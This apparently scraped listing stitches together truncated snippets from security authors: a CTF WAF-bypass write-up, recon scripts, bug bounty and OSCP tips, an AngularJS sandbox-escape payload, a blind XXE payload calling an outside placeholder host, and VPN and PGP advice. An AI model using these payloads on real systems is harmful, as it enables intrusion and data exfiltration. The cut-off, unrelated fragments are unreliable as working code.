terjanq

TokyoWesterns CTF 2020 | writeups by @terjanq

Urlcheck v1 (98 points, 160 solves)

The goal was to bypass WAF protection to access local resources.

app.re_ip = re.compile('\A(\d+)\.(\d+)\.(\d+)\.(\d+)\Z')

def valid_ip(ip):
 matches = app.re_ip.match(ip)

mhmdiaa

import sys


def to_octets(ip):
    return [int(i) for i in ip.split('.')]


def dotless_decimal(ip):
    octets = to_octets(ip)
    result = octets[0] * 16777216 + octets[1] * \

EdOverflow

GitHub for Bug Bounty Hunters

GitHub repositories can disclose all sorts of potentially valuable information for bug bounty hunters. The targets do not always have to be open source for there to be issues. Organization members and their open source projects can sometimes accidentally expose information that could be used against the target company. in this article I will give you a brief overview that should help you get started targeting GitHub repositories for vulnerabilities and for general recon.

Mass Cloning

You can just do your research on github.com, but I would suggest cloning all the target's repositories so that you can run your tests locally. I would highly recommend @mazen160's GitHubCloner. Just run the script and you should be good to go.

$ python githubcloner.py --org organization -o /tmp/output

mhmdiaa

import requests
import sys
import json


def waybackurls(host, with_subs):
    if with_subs:
        url = 'http://web.archive.org/cdx/search/cdx?url=*.%s/*&output=json&fl=original&collapse=urlkey' % host
    else:
        url = 'http://web.archive.org/cdx/search/cdx?url=%s/*&output=json&fl=original&collapse=urlkey' % host

unfo

How to pass the OSCP

1. Recon
2. Find vuln
3. Exploit
4. Document it

Recon

Unicornscans in cli, nmap in msfconsole to help store loot in database.

mccabe615

1.3.2 and below

{{7*7}}

'a'.constructor.fromCharCode=[].join;
'a'.constructor[0]='\u003ciframe onload=alert(/Backdoored/)\u003e';

kennwhite

Most VPN Services are Terrible

Short version: I strongly do not recommend using any of these providers. You are, of course, free to use whatever you like. My TL;DR advice: Roll your own and use Algo or Streisand. For messaging & voice, use Signal. For increased anonymity, use Tor for desktop (though recognize that doing so may actually put you at greater risk), and Onion Browser for mobile.

This mini-rant came on the heels of an interesting twitter discussion: https://twitter.com/kennwhite/status/591074055018582016

staaldraad

--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>

grugq

Operational PGP

This is a guide on how to email securely.

There are many guides on how to install and use PGP to encrypt email. This is not one of them. This is a guide on secure communication using email with PGP encryption. If you are not familiar with PGP, please read another guide first. If you are comfortable using PGP to encrypt and decrypt emails, this guide will raise your security to the next level.

tsiege

ANNOUNCEMENT

I have moved this over to the Tech Interview Cheat Sheet Repo and has been expanded and even has code challenges you can run and practice against!






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